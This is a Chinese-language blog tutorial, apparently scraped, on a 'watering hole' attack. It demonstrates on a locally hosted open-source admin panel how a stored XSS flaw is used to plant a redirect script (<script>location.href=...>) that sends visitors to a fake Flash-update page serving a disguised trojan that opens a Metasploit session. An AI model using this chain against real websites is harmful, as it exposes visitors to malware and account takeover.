当前位置: 首页 > news >正文

【Web安全社工篇】——水坑攻击

作者名:白昼安全
主页面链接: 主页传送门
创作初心: 以后赚大钱
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日鸡汤: 努力赚钱不是因为爱钱

“水坑攻击”,黑客攻击方式之一,顾名思义,是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并植入攻击代码,一旦攻击目标访问该网站就会“中招”。

一、靶机环境配置

这里的演示当然不能拿真实的站点,所以我在Github上下载了一个web文件,并在本地搭建,模拟成目标经常访问的网站,想试试的同学们也可以跟我一起操作

Github链接如下,注意这是一个有2k多个star的项目,不是什么野鸡项目,自然也就不存在很容易攻破这一说

https://github.com/huanzi-qch/base-admin

本地部署教程链接如下(注意默认端口是8888),如果你端口冲突就会开不起来,需要修改配置文件中的默认端口

(5条消息) java 开源小项目 Base Admin运行(详细图解)_关切得大神的博客-CSDN博客

搭建好之后就进入登录页面

二、构造水坑陷阱

默认账号:sa
默认密码:123456

登录后页面如下

假设目标用户经常访问这个网站,而现在我们又已经打进了这个网站,应该怎样制作水坑来攻击目标呢?看看我下面的操作

经过一段时间的薄弱点挖掘,发现该站点的用户管理页面存在存储型xss漏洞,如下

例如在用户管理页面尝试构造一个弹框,保存后当我们再次回到用户管理页面后,效果如下

成功弹框,那到了这里你是否有攻击思路了呢?

我的想法是利用这个存储型的xss漏洞来构造一个重定向,使目标每次访问这个站点的用户管理时都会被我们构造的xss重定向到我们准备好的钓鱼页面

例如flash的版本过低页面,就像下面这个页面

而立即下载页面定向到木马下载,将木马处理为与flash下载程序一样,使用户下载我们的木马并点击,至此达到拿到用户权限的目的

三、实际操作演示

  1. 利用存储型xss构造重定向,这里就是一个简单的js代码

<script>location.href="重定向目标ip"</script>

插入代码

保存之后用户每次访问结果如下

这样用户每次访问用户管理页面时就会重定向到我们给他准备好的钓鱼页面

可以看到用户管理页面已经变成我们的钓鱼页面,如果目标用户以前访问该站点都是正常的,这次突然出现一个flash下载页面,他会不会认为是他的flash版本过低呢?

点击立即下载之后,就会下载我们准备好的exe木马文件

可以看看我做的图标这些

完全是复刻正常的flash下载程序的图标,如果更严谨一个还可以伪造时间戳,数字签名等等,就是怎么正常怎么来

此时用户双击应用

我们的msf成功上线,拿到目标权限,剩下的就是自己抓紧做一下权限维持,提权等操作,这里就不多讲了

其实水坑攻击讲通俗一点还是利用一个信息问题,假如你每天上下班都经过同一条路,突然有一天,前面出现一个告示牌,说你平时走的那条路在施工,让你走另外一条路,并且说那条路也可以到你上班的地方,你会走吗?还是会怀疑这条路是个陷阱?

一样的道理,你每天都访问的网站突然有一天访问不了,说你的flash版本过低,你会选择升级吗?当然这里的flash也只是一个案例,反正让人家觉得怎么正常怎么来,尽量不要太突兀就行

http://www.lryc.cn/news/24853.html

相关文章:

  • SpringBoot 整合 MongoDB 实现数据的增删改查!
  • VUE前端常问面试题
  • c++中map/unordered_map的不同遍历方式以及结构化绑定
  • Kafka系列之:Kraft模式
  • 动态规划:leetcode 139.单词拆分、多重背包问题
  • Stable Diffusion原理详解
  • webpack高级配置
  • jQuery 事件
  • 【批处理脚本】-2.3-解析地址命令arp
  • 改进 YOLO V5 的密集行人检测算法研究(论文研读)——目标检测
  • Python - Opencv应用实例之CT图像检测边缘和内部缺陷
  • 管理逻辑备数据库(Logical Standby Database)
  • 【C++】构造函数(初始化列表)、explicit、 Static成员、友元、内部类、匿名对象
  • (六十)再来看看几个最常见和最基本的索引使用规则
  • 机器学习与目标检测作业(数组相加:形状需要满足哪些条件)
  • CentOS救援模式(Rescue Mode)及紧急模式(Emergency Mode)
  • 从面试官角度告诉你高级性能测试工程师面试必问的十大问题
  • 通过知识库深度了解用户的心理
  • HiveSQL一天一个小技巧:如何将分组内数据填充完整?
  • 【亲测可用】BEV Fusion (MIT) 环境配置
  • 【调试方法】基于vs环境下的实用调试技巧
  • 单目标应用:蜣螂优化算法DBO优化RBF神经网络实现数据预测(提供MATLAB代码)
  • MTK平台开发入门到精通(Thermal篇)热管理介绍
  • 最好的 QML 教程,让你的代码飞起来!
  • 笔记(六)——stack容器的基础理论知识
  • Web前端学习:四 - 练习
  • odoo15 标题栏自定义
  • 视觉SLAM十四讲 ch3 (三维空间刚体运动)笔记
  • 问题解决:java.net.SocketTimeoutException: Read timed out
  • 前端代码优化方法